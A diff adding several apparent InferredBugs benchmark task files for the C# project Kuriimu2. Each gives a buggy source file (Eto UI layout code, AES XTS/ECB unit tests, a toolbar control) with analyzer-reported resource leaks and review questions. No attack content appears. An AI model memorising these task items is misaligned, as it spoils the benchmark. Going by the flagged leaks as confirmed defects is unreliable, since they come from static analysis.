+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2658/instruction.md b/inferredbugs-2658/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..5e92ee7af0405d3536042b8fb41539fa78e190c7
--- /dev/null
+++ b/inferredbugs-2658/instruction.md
@@ -0,0 +1,254 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Kuriimu2
+**Bug ID:** 17
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Eto.Drawing;
+using Eto.Forms;
+using Kuriimu2.EtoForms.Controls;
+using Kuriimu2.EtoForms.Controls.ImageView;
+using Kuriimu2.EtoForms.Forms.Models;
+using Kuriimu2.EtoForms.Support;
+
+namespace Kuriimu2.EtoForms.Forms.Formats
+{
+    partial class ImageForm:Panel
+    {
+        private Command saveCommand;
+        private Command saveAsCommand;
+        private Command exportCommand;
+        private Command importCommand;
+
+        private ButtonToolStripItem saveButton;
+        private ButtonToolStripItem saveAsButton;
+        private ButtonToolStripItem exportButton;
+        private ButtonToolStripItem importButton;
+
+        private ImageViewEx imageView;
+        private PaletteView imagePalette;
+
+        private Label width;
+        private Label height;
+        private ComboBox formats;
+        private ComboBox palettes;
+        private ListBox images;
+
+        private void InitializeComponent()
+        {
+            #region Commands
+
+            saveCommand = new Command();
+            saveAsCommand = new Command();
+            exportCommand = new Command();
+            importCommand = new Command();
+
+            #endregion
+
+            #region Controls
+
+            #region Buttons
+
+            saveButton = new ButtonToolStripItem
+            {
+                Command = saveCommand,
+                Image = MenuSaveResource
+            };
+
+            saveAsButton = new ButtonToolStripItem
+            {
+                Command = saveAsCommand,
+                Image = MenuSaveAsResource
+            };
+
+            exportButton = new ButtonToolStripItem
+            {
+                Command = exportCommand,
+                Image = MenuExportResource
+            };
+
+            importButton = new ButtonToolStripItem
+            {
+                Command = importCommand,
+                Image = MenuImportResource
+            };
+
+            #endregion
+
+            #region Default
+
+            images = new ListBox
+            {
+                ItemImageBinding = Binding.Property<Image>(nameof(ImageElement.Image)),
+                ItemTextBinding = Binding.Property<string>(nameof(ImageElement.Text)),
+            };
+
+            imageView = new ImageViewEx { BackgroundColor = KnownColors.DarkGreen };
+            imagePalette = new PaletteView { Size = new Size(200, -1),  };
+
+            var widthLabel = new Label { Text = "Width:" };
+            var heightLabel = new Label { Text = "Height:" };
+            var formatLabel = new Label { Text = "Format:" };
+            var paletteLabel = new Label { Text = "Palette:" };
+
+            width = new Label();
+            height = new Label();
+            formats = new ComboBox();
+            palettes = new ComboBox();
+
+            #endregion
+
+            #region Toolstrip
+
+            var mainToolStrip = new ToolStrip
+            {
+                Items =
+                {
+                    saveButton,
+                    saveAsButton,
+                    new SplitterToolStripItem(),
+                    exportButton,
+                    importButton
+                }
+            };
+
+            #endregion
+
+            #region Layouts
+
+            var imageLayout = new StackLayout
+            {
+                Spacing = 3,
+                Orientation = Orientation.Vertical,
+                HorizontalContentAlignment = HorizontalAlignment.Stretch,
+                Items =
+                {
+                    new StackLayoutItem(imageView) { Expand = true, HorizontalAlignment = HorizontalAlignment.Stretch },
+                    new TableLayout
+                    {
+                        Spacing = new Size(3, 3),
+                        Rows =
+                        {
+                            new TableRow
+                            {
+                                Cells =
+                                {
+                                    widthLabel,
+                                    width,
+                                    heightLabel,
+                                    height,
+                                    new TableCell { ScaleWidth = true }
+                                }
+                            },
+                            new TableRow
+                            {
+                                Cells =
+                                {
+                                    formatLabel,
+                                    formats,
+                                    paletteLabel,
+                                    palettes,
+                                    new TableCell { ScaleWidth = true }
+                                }
+                            }
+                        }
+                    }
+                }
+            };
+
+            var listLayout = new StackLayout
+            {
+                Spacing = 3,
+                VerticalContentAlignment = VerticalAlignment.Stretch,
+                Orientation = Orientation.Vertical,
+                Items =
+                {
+                    new StackLayoutItem(images, true) { HorizontalAlignment = HorizontalAlignment.Stretch },
+                    new StackLayoutItem(imagePalette, true)
+                }
+            };
+
+            var mainLayout = new TableLayout
+            {
+                Spacing = new Size(3, 3),
+                Rows =
+                {
+                    new TableRow
+                    {
+                        Cells =
+                        {
+                            new TableCell(imageLayout) { ScaleWidth = true },
+                            listLayout
+                        }
+                    }
+                }
+            };
+
+            #endregion
+
+            #endregion
+
+            Content = new TableLayout
+            {
+                Rows =
+                {
+                    new TableRow(new Panel { Content = mainToolStrip, Size = new Size(-1, (int)ToolStripItem.Height + 6) }),
+                    mainLayout
+                }
+            };
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource widthLabel of type Eto.Forms.Label, Leaked resource %8 of type Eto.Forms.TableLayout, Leaked resource formatLabel of type Eto.Forms.Label, Leaked resource imageLayout of type Eto.Forms.StackLayout, Leaked resource this.Kuriimu2.EtoForms.Forms.Formats.ImageForm.width of type Eto.Forms.Label, Leaked resource this.Kuriimu2.EtoForms.Forms.Formats.ImageForm.palettes of type Eto.Forms.ComboBox, Leaked resource this.Kuriimu2.EtoForms.Forms.Formats.ImageForm.images of type Eto.Forms.ListBox, Leaked resource this.Kuriimu2.EtoForms.Forms.Formats.ImageForm.imageView.Kuriimu2.EtoForms.Controls.ImageView.ImageViewEx.<Content>k__BackingField of type Eto.Forms.Drawable, Leaked resource this.Kuriimu2.EtoForms.Forms.Formats.ImageForm.imagePalette of type Eto.Forms.Drawable, Leaked resource this.Kuriimu2.EtoForms.Forms.Formats.ImageForm.height of type Eto.Forms.Label, Leaked resource this.Kuriimu2.EtoForms.Forms.Formats.ImageForm.formats of type Eto.Forms.ComboBox, Leaked resource mainLayout of type Eto.Forms.TableLayout, Leaked resource heightLabel of type Eto.Forms.Label, Leaked resource paletteLabel of type Eto.Forms.Label, Leaked resource listLayout of type Eto.Forms.StackLayout, Leaked resource (output of Eto.Forms.Panel::.ctor() at Line 185) of type Eto.Forms.Panel, Leaked resource (output of Eto.Forms.TableLayout::.ctor() at Line 113) of type Eto.Forms.TableLayout in method "Void ImageForm.InitializeComponent()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void ImageForm.InitializeComponent()
+
+### File:
+src/Kuriimu2.EtoForms/Kuriimu2.EtoForms/Forms/Formats/ImageForm.eto.cs
+
+### Key:
+ImageForm.eto.cs|InitializeComponent|DOTNET_RESOURCE_LEAK
+
+### Hash:
+79fc51f87db305447b649e0b2d0f02d2
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2659/instruction.md b/inferredbugs-2659/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..518d8f83a27fc2f9eaf0fe061964edb858abfdfd
--- /dev/null
+++ b/inferredbugs-2659/instruction.md
@@ -0,0 +1,209 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Kuriimu2
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Kryptography.AES;
+using Kryptography.AES.XTS;
+using Microsoft.VisualStudio.TestTools.UnitTesting;
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace KryptographyUnitTests
+{
+    [TestClass]
+    public class XtsTests
+    {
+        public void Encrypt(byte[] content, byte[] sectorId)
+        {
+            var aes = AesXts.Create(false, 0x20);
+            var enc = aes.CreateEncryptor(new byte[0x20], sectorId);
+            enc.TransformBlock(content, 0, content.Length, content, 0);
+        }
+
+        [TestMethod]
+        public void XtsContextTest()
+        {
+            var aes = AesXts.Create(false, 0x20);
+            var enc = aes.CreateEncryptor(new byte[0x20], new byte[0x10]);
+            var dec = aes.CreateDecryptor(new byte[0x20], new byte[0x10]);
+
+            var content = new byte[0x10];
+            enc.TransformBlock(content, 0, content.Length, content, 0);
+            dec.TransformBlock(content, 0, content.Length, content, 0);
+
+            Assert.IsTrue(new byte[0x10].SequenceEqual(content));
+        }
+
+        [TestMethod]
+        public void InitializeStream()
+        {
+            Assert.ThrowsException<InvalidOperationException>(() => new XtsStream(new MemoryStream(new byte[2]), new byte[32], new byte[16], false, 0x30));
+            Assert.ThrowsException<InvalidOperationException>(() => new XtsStream(new MemoryStream(new byte[16]), new byte[32], new byte[16], false, 0x27));
+        }
+
+        [TestMethod]
+        public void ReadTest1()
+        {
+            var key = new byte[32];
+            var final = new byte[] { 0x3a, 0x18, 0xda, 0xa2, 0xca, 0x3b, 0x3a, 0x64, 0x58, 0xe5, 0xaf, 0xac, 0xbc, 0x48, 0x95, 0x8e };
+            var ms = new MemoryStream(final);
+            var xts = new XtsStream(ms, key, new byte[16], false, 0x30);
+            var result = new byte[16];
+            var expected = new byte[16];
+            expected[0xf] = 0x01;
+
+            xts.Read(result, 0, 16);
+
+            Assert.IsTrue(result.SequenceEqual(expected));
+            Assert.AreEqual(16, xts.Position);
+            Assert.AreEqual(0, ms.Position);
+        }
+
+        [TestMethod]
+        public void ReadTest2()
+        {
+            var toEncrypt = new byte[0x10];
+            var sectorId = new byte[0x10];
+            sectorId[0xf] = 0x01;
+            Encrypt(toEncrypt, sectorId);
+
+            var content = new byte[0x30];
+            Array.Copy(toEncrypt, 0, content, 0x20, 0x10);
+            var ms = new MemoryStream(content);
+            var xts = new XtsStream(ms, new byte[32], new byte[16], false, 0x20);
+            var result = new byte[16];
+            var expected = new byte[16];
+
+            xts.Position = 32;
+            xts.Read(result, 0, 16);
+
+            Assert.IsTrue(result.SequenceEqual(expected));
+            Assert.AreEqual(48, xts.Position);
+            Assert.AreEqual(0, ms.Position);
+        }
+
+        [TestMethod]
+        public void WriteTest1()
+        {
+            var key = new byte[] { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
+            var content = new byte[] { 0x66, 0xe9, 0x4b, 0xd4, 0xef, 0x8a, 0x2c, 0x3b, 0x88, 0x4c, 0xfa, 0x59, 0xca, 0x34, 0x2b, 0x2e };
+            var expected = new byte[] { 0x40, 0x15, 0xaf, 0xf5, 0x6f, 0xb5, 0xb9, 0x20, 0xc9, 0x55, 0x44, 0x90, 0x35, 0xda, 0xa7, 0x41 };
+            var ms = new MemoryStream(content);
+            var ecb = new EcbStream(ms, key);
+
+            ecb.Position = 3;
+            ecb.Write(new byte[] { 0x11, 0x11 }, 0, 2);
+            ecb.Flush();
+
+            Assert.IsTrue(ms.ToArray().SequenceEqual(expected));
+            Assert.AreEqual(5, ecb.Position);
+            Assert.AreEqual(0, ms.Position);
+        }
+
+        [TestMethod]
+        public void WriteTest2()
+        {
+            var key = new byte[] { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
+            var content = new byte[] { 0x66, 0xe9, 0x4b, 0xd4, 0xef, 0x8a, 0x2c, 0x3b, 0x88, 0x4c, 0xfa, 0x59, 0xca, 0x34, 0x2b, 0x2e };
+            var expected = new byte[] { 0x04, 0x10, 0xbe, 0xfc, 0xcd, 0xe6, 0x94, 0x4b, 0x69, 0xdd, 0x00, 0x7d, 0xeb, 0xe3, 0x9a, 0x9d,
+            0x3a, 0xb6, 0x07, 0x36, 0xf9, 0xcd, 0x20, 0xa2, 0xcf, 0xe1, 0xf2, 0x48, 0x34, 0xb6, 0x25, 0x3d};
+            var ms = new MemoryStream();
+            ms.Write(content, 0, content.Length);
+            var ecb = new EcbStream(ms, key);
+
+            ecb.Position = 15;
+            ecb.Write(new byte[] { 0x11, 0x11 }, 0, 2);
+            var actualLength = ecb.Length;
+            ecb.Flush();
+            var flushedLength = ecb.Length;
+
+            Assert.IsTrue(ms.ToArray().SequenceEqual(expected));
+            Assert.AreEqual(32, ecb.Length);
+            Assert.AreEqual(17, actualLength);
+            Assert.AreEqual(32, flushedLength);
+            Assert.AreEqual(16, ms.Position);
+        }
+
+        [TestMethod]
+        public void WriteTest3()
+        {
+            var key = new byte[] { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
+            var content = new byte[] { 0x66, 0xe9, 0x4b, 0xd4, 0xef, 0x8a, 0x2c, 0x3b, 0x88, 0x4c, 0xfa, 0x59, 0xca, 0x34, 0x2b, 0x2e };
+            var expected = new byte[] { 0x66, 0xe9, 0x4b, 0xd4, 0xef, 0x8a, 0x2c, 0x3b, 0x88, 0x4c, 0xfa, 0x59, 0xca, 0x34, 0x2b, 0x2e,
+                0x4c, 0x02, 0x1d, 0x6d, 0xf5, 0x51, 0xd7, 0xf8, 0x74, 0xa4, 0xe0, 0x30, 0x8f, 0x4c, 0xb6, 0x13 };
+            var ms = new MemoryStream();
+            ms.Write(content, 0, content.Length);
+            var ecb = new EcbStream(ms, key);
+
+            ecb.Position = 17;
+            ecb.Write(new byte[] { 0x11, 0x11 }, 0, 2);
+            var actualLength = ecb.Length;
+            ecb.Flush();
+            var flushedLength = ecb.Length;
+
+            Assert.IsTrue(ms.ToArray().SequenceEqual(expected));
+            Assert.AreEqual(32, ecb.Length);
+            Assert.AreEqual(19, actualLength);
+            Assert.AreEqual(32, flushedLength);
+            Assert.AreEqual(16, ms.Position);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource ms of type System.IO.MemoryStream, Leaked resource ecb of type Kryptography.AES.EcbStream in method "Void XtsTests.WriteTest1()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void XtsTests.WriteTest1()
+
+### File:
+KryptographyUnitTests/XtsTests.cs
+
+### Key:
+XtsTests.cs|WriteTest1|DOTNET_RESOURCE_LEAK
+
+### Hash:
+40660958d50473723538505034bf1841
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2660/instruction.md b/inferredbugs-2660/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..34ab88bc991427509b53643d59313925cdd378a5
--- /dev/null
+++ b/inferredbugs-2660/instruction.md
@@ -0,0 +1,251 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Kuriimu2
+**Bug ID:** 10
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Eto.Drawing;
+using Eto.Forms;
+using Kuriimu2.EtoForms.Controls;
+using Kuriimu2.EtoForms.Controls.ImageView;
+using Kuriimu2.EtoForms.Forms.Models;
+using Kuriimu2.EtoForms.Resources;
+using Kuriimu2.EtoForms.Support;
+
+namespace Kuriimu2.EtoForms.Forms.Formats
+{
+    partial class ImageForm:Panel
+    {
+        private Command saveCommand;
+        private Command saveAsCommand;
+        private Command exportCommand;
+        private Command importCommand;
+
+        private ButtonToolStripItem saveButton;
+        private ButtonToolStripItem saveAsButton;
+        private ButtonToolStripItem exportButton;
+        private ButtonToolStripItem importButton;
+
+        private ImageViewEx imageView;
+        private PaletteView imagePalette;
+
+        private Label width;
+        private Label height;
+        private ComboBox formats;
+        private ComboBox palettes;
+        private ListBox images;
+
+        private void InitializeComponent()
+        {
+            #region Commands
+
+            saveCommand = new Command { Image = ImageResources.Actions.Save };
+            saveAsCommand = new Command { Image = ImageResources.Actions.SaveAs };
+            exportCommand = new Command { Image = ImageResources.Actions.ImageExport };
+            importCommand = new Command { Image = ImageResources.Actions.ImageImport };
+
+            #endregion
+
+            #region Controls
+
+            #region Buttons
+
+            saveButton = new ButtonToolStripItem
+            {
+                Command = saveCommand,
+            };
+
+            saveAsButton = new ButtonToolStripItem
+            {
+                Command = saveAsCommand,
+            };
+
+            exportButton = new ButtonToolStripItem
+            {
+                Command = exportCommand,
+            };
+
+            importButton = new ButtonToolStripItem
+            {
+                Command = importCommand,
+            };
+
+            #endregion
+
+            #region Default
+
+            images = new ListBox
+            {
+                ItemImageBinding = Binding.Property<Image>(nameof(ImageElement.Image)),
+                ItemTextBinding = Binding.Property<string>(nameof(ImageElement.Text)),
+            };
+
+            imageView = new ImageViewEx { BackgroundColor = KnownColors.DarkGreen };
+            imagePalette = new PaletteView { Size = new Size(200, -1),  };
+
+            var widthLabel = new Label { Text = "Width:" };
+            var heightLabel = new Label { Text = "Height:" };
+            var formatLabel = new Label { Text = "Format:" };
+            var paletteLabel = new Label { Text = "Palette:" };
+
+            width = new Label();
+            height = new Label();
+            formats = new ComboBox();
+            palettes = new ComboBox();
+
+            #endregion
+
+            #region Toolstrip
+
+            var mainToolStrip = new ToolStrip
+            {
+                Items =
+                {
+                    saveButton,
+                    saveAsButton,
+                    new SplitterToolStripItem(),
+                    exportButton,
+                    importButton
+                }
+            };
+
+            #endregion
+
+            #region Layouts
+
+            var imageLayout = new StackLayout
+            {
+                Spacing = 3,
+                Orientation = Orientation.Vertical,
+                HorizontalContentAlignment = HorizontalAlignment.Stretch,
+                Items =
+                {
+                    new StackLayoutItem(imageView) { Expand = true, HorizontalAlignment = HorizontalAlignment.Stretch },
+                    new TableLayout
+                    {
+                        Spacing = new Size(3, 3),
+                        Rows =
+                        {
+                            new TableRow
+                            {
+                                Cells =
+                                {
+                                    widthLabel,
+                                    width,
+                                    heightLabel,
+                                    height,
+                                    new TableCell { ScaleWidth = true }
+                                }
+                            },
+                            new TableRow
+                            {
+                                Cells =
+                                {
+                                    formatLabel,
+                                    formats,
+                                    paletteLabel,
+                                    palettes,
+                                    new TableCell { ScaleWidth = true }
+                                }
+                            }
+                        }
+                    }
+                }
+            };
+
+            var listLayout = new StackLayout
+            {
+                Spacing = 3,
+                VerticalContentAlignment = VerticalAlignment.Stretch,
+                Orientation = Orientation.Vertical,
+                Items =
+                {
+                    new StackLayoutItem(images, true) { HorizontalAlignment = HorizontalAlignment.Stretch },
+                    new StackLayoutItem(imagePalette, true)
+                }
+            };
+
+            var mainLayout = new TableLayout
+            {
+                Spacing = new Size(3, 3),
+                Rows =
+                {
+                    new TableRow
+                    {
+                        Cells =
+                        {
+                            new TableCell(imageLayout) { ScaleWidth = true },
+                            listLayout
+                        }
+                    }
+                }
+            };
+
+            #endregion
+
+            #endregion
+
+            Content = new TableLayout
+            {
+                Rows =
+                {
+                    new TableRow(new Panel { Content = mainToolStrip, Size = new Size(-1, (int)ToolStripItem.Height + 6) }),
+                    mainLayout
+                }
+            };
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource widthLabel of type Eto.Forms.Label, Leaked resource %8 of type Eto.Forms.TableLayout, Leaked resource formatLabel of type Eto.Forms.Label, Leaked resource imageLayout of type Eto.Forms.StackLayout, Leaked resource this.Kuriimu2.EtoForms.Forms.Formats.ImageForm.width of type Eto.Forms.Label, Leaked resource this.Kuriimu2.EtoForms.Forms.Formats.ImageForm.palettes of type Eto.Forms.ComboBox, Leaked resource this.Kuriimu2.EtoForms.Forms.Formats.ImageForm.images of type Eto.Forms.ListBox, Leaked resource this.Kuriimu2.EtoForms.Forms.Formats.ImageForm.imageView.Kuriimu2.EtoForms.Controls.ImageView.ImageViewEx.<Content>k__BackingField of type Eto.Forms.Drawable, Leaked resource this.Kuriimu2.EtoForms.Forms.Formats.ImageForm.imagePalette of type Eto.Forms.Drawable, Leaked resource this.Kuriimu2.EtoForms.Forms.Formats.ImageForm.height of type Eto.Forms.Label, Leaked resource this.Kuriimu2.EtoForms.Forms.Formats.ImageForm.formats of type Eto.Forms.ComboBox, Leaked resource mainLayout of type Eto.Forms.TableLayout, Leaked resource heightLabel of type Eto.Forms.Label, Leaked resource paletteLabel of type Eto.Forms.Label, Leaked resource listLayout of type Eto.Forms.StackLayout, Leaked resource (output of Eto.Forms.Panel::.ctor() at Line 182) of type Eto.Forms.Panel, Leaked resource (output of Eto.Forms.TableLayout::.ctor() at Line 110) of type Eto.Forms.TableLayout in method "Void ImageForm.InitializeComponent()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void ImageForm.InitializeComponent()
+
+### File:
+src/Kuriimu2.EtoForms/Kuriimu2.EtoForms/Forms/Formats/ImageForm.eto.cs
+
+### Key:
+ImageForm.eto.cs|InitializeComponent|DOTNET_RESOURCE_LEAK
+
+### Hash:
+ed7ef5dcf83d3dc15d70b7e181480e35
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2661/instruction.md b/inferredbugs-2661/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..719175daffde3b18d24c9d45d74482967113badb
--- /dev/null
+++ b/inferredbugs-2661/instruction.md
@@ -0,0 +1,389 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Kuriimu2
+**Bug ID:** 19
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Collections.ObjectModel;
+using System.Linq;
+using Eto.Drawing;
+using Eto.Forms;
+using Kuriimu2.EtoForms.Support;
+
+namespace Kuriimu2.EtoForms.Controls
+{
+    public class ToolStrip : Drawable
+    {
+        private (RectangleF, ToolStripItem) _hoveredItem;
+        private SizeF _size;
+
+        public ToolStripItemCollection Items { get; }
+
+        public int Spacing { get; set; }
+
+        public new SizeF Size
+        {
+            get => _size;
+            set
+            {
+                _size = new SizeF(value.Width, ToolStripItem.Height);
+                Invalidate();
+            }
+        }
+
+        public ToolStrip()
+        {
+            Items = new ToolStripItemCollection(this);
+
+            BackgroundColor = KnownColors.White;
+            Padding = new Padding(3);
+
+            MouseMove += ToolStrip_MouseMove;
+            MouseDown += ToolStrip_MouseDown;
+            MouseUp += ToolStrip_MouseUp;
+        }
+
+        protected override void OnPaint(PaintEventArgs e)
+        {
+            var g = e.Graphics;
+            var rect = new RectangleF(e.ClipRectangle.Location, new SizeF(e.ClipRectangle.Width, ToolStripItem.Height + Padding.Top + Padding.Bottom));
+
+            base.OnPaint(new PaintEventArgs(g, rect));
+            OnPaintInternal(g, rect);
+        }
+
+        private void OnPaintInternal(Graphics graphics, RectangleF clipRectangle)
+        {
+            var drawLocation = new PointF(clipRectangle.X + Padding.Left, clipRectangle.Y + Padding.Top);
+
+            foreach (var item in Items)
+            {
+                var itemWidth = item.Paint(graphics, drawLocation);
+                drawLocation = new PointF(drawLocation.X + itemWidth + Spacing, drawLocation.Y);
+            }
+        }
+
+        private void ToolStrip_MouseDown(object sender, MouseEventArgs e)
+        {
+            _hoveredItem.Item2?.OnMouseDown(e);
+        }
+
+        private void ToolStrip_MouseUp(object sender, MouseEventArgs e)
+        {
+            _hoveredItem.Item2?.OnMouseUp(e);
+        }
+
+        private void ToolStrip_MouseMove(object sender, MouseEventArgs e)
+        {
+            var currentItem = GetHoveredItemRectangle(e.Location);
+
+            // If item didn't change, raise move event
+            if (_hoveredItem.Item1 == currentItem.Item1)
+            {
+                _hoveredItem.Item2?.OnMouseMove(e);
+                return;
+            }
+
+            // Raise leave event of previous item
+            _hoveredItem.Item2?.OnMouseLeave(e);
+
+            // Raise enter event of current item
+            currentItem.Item2?.OnMouseEnter(e);
+
+            _hoveredItem = currentItem;
+        }
+
+        private (RectangleF, ToolStripItem) GetHoveredItemRectangle(PointF location)
+        {
+            var rects = GetItemInformation();
+            return rects.FirstOrDefault(x => x.Item1.Contains(location));
+        }
+
+        private (RectangleF, ToolStripItem)[] GetItemInformation()
+        {
+            // TODO: Cache item rectangles?
+            var rects = new List<(RectangleF, ToolStripItem)>();
+
+            var position = new PointF(Padding.Left, Padding.Right);
+            foreach (var item in Items)
+            {
+                rects.Add((new RectangleF(position, new SizeF(item.Width, ToolStripItem.Height)), item));
+                position = new PointF(position.X + item.Width + Spacing, position.Y);
+            }
+
+            return rects.ToArray();
+        }
+    }
+
+    public class ToolStripItemCollection : Collection<ToolStripItem>
+    {
+        private readonly ToolStrip _parent;
+
+        public ToolStripItemCollection(ToolStrip parent)
+        {
+            _parent = parent;
+        }
+
+        protected override void ClearItems()
+        {
+            base.ClearItems();
+            _parent.Invalidate();
+        }
+
+        protected override void InsertItem(int index, ToolStripItem item)
+        {
+            base.InsertItem(index, item);
+
+            item?.RegisterParent(_parent);
+            _parent.Invalidate();
+        }
+
+        protected override void RemoveItem(int index)
+        {
+            base.RemoveItem(index);
+            _parent.Invalidate();
+        }
+
+        protected override void SetItem(int index, ToolStripItem item)
+        {
+            base.SetItem(index, item);
+
+            item?.RegisterParent(_parent);
+            _parent.Invalidate();
+        }
+
+        public new void Add(ToolStripItem item)
+        {
+            base.Add(item);
+            item?.RegisterParent(_parent);
+        }
+    }
+
+    public class SplitterToolStripItem : ToolStripItem
+    {
+        public override float Width => 1;
+        public override float Paint(Graphics g, PointF drawLocation)
+        {
+            g.FillRectangle(Color.FromArgb(0xbd, 0xbd, 0xbd), new RectangleF(new PointF(drawLocation.X, drawLocation.Y + (Height - 16) / 2), new SizeF(Width, 16)));
+            return Width;
+        }
+    }
+
+    public class ButtonToolStripItem : ToolStripItem
+    {
+        private bool _isHovering;
+        private bool _isClicked;
+        private bool _isEnabled;
+
+        public Image Image { get; set; }
+
+        public Command Command { get; set; }
+
+        public bool Enabled
+        {
+            get => _isEnabled;
+            set
+            {
+                _isEnabled = value;
+                ParentToolStrip?.Invalidate();
+            }
+        }
+
+        public override float Width => Height;
+
+        public ButtonToolStripItem()
+        {
+            _isEnabled = true;
+
+            MouseEnter += ButtonToolStripItem_MouseEnter;
+            MouseLeave += ButtonToolStripItem_MouseLeave;
+            MouseDown += ButtonToolStripItem_MouseDown;
+            MouseUp += ButtonToolStripItem_MouseUp;
+        }
+
+        public override float Paint(Graphics g, PointF drawLocation)
+        {
+            if (Image == null)
+                return 0;
+
+            // If clicked use darker colors
+            if (_isEnabled && _isClicked)
+            {
+                g.FillRectangle(Color.FromArgb(0x80, 0xbc, 0xeb), new RectangleF(drawLocation, new SizeF(Width, Height)));
+                g.DrawRectangle(new Pen(Color.FromArgb(0, 0x78, 0xd7)), new RectangleF(drawLocation, new SizeF(Width, Height)));
+            }
+
+            // If only hovering use lighter colors
+            if (_isEnabled && !_isClicked && _isHovering)
+            {
+                g.FillRectangle(Color.FromArgb(0xb3, 0xd7, 0xf3), new RectangleF(drawLocation, new SizeF(Width, Height)));
+                g.DrawRectangle(new Pen(Color.FromArgb(0, 0x78, 0xd7)), new RectangleF(drawLocation, new SizeF(Width, Height)));
+            }
+
+            g.DrawImage(_isEnabled ? Image : ToGreyScale(Image),
+                new RectangleF(new PointF(drawLocation.X + (Width - 16) / 2, drawLocation.Y + (Height - 16) / 2), new SizeF(16, 16)));
+            return Width;
+        }
+
+        private void ButtonToolStripItem_MouseUp(object sender, MouseEventArgs e)
+        {
+            if (_isEnabled)
+            {
+                Command?.Execute();
+            }
+
+            _isClicked = false;
+            ParentToolStrip?.Invalidate();
+        }
+
+        private void ButtonToolStripItem_MouseDown(object sender, MouseEventArgs e)
+        {
+            _isClicked = true;
+            ParentToolStrip?.Invalidate();
+        }
+
+        private void ButtonToolStripItem_MouseLeave(object sender, MouseEventArgs e)
+        {
+            _isHovering = false;
+            _isClicked = false;
+            ParentToolStrip?.Invalidate();
+        }
+
+        private void ButtonToolStripItem_MouseEnter(object sender, MouseEventArgs e)
+        {
+            _isHovering = true;
+            _isClicked = (e.Buttons & MouseButtons.Primary) != 0;
+            ParentToolStrip?.Invalidate();
+        }
+
+        private Image ToGreyScale(Image image)
+        {
+            var bitmap = (Bitmap)image;
+            var clonedImage = bitmap.Clone();
+
+            var data = clonedImage.Lock();
+            data.SetPixels(data.GetPixels().Select(c =>
+            {
+                var grey = c.R * 0.2126f + c.G * 0.7152f + c.B * 0.0722f;
+                return new Color(grey, grey, grey, c.A * 0.5f);
+            }));
+            data.Dispose();
+
+            return clonedImage;
+        }
+    }
+
+    public abstract class ToolStripItem : IMouseInputSource
+    {
+        public const float Height = 24;
+
+        public abstract float Width { get; }
+
+        protected ToolStrip ParentToolStrip { get; private set; }
+
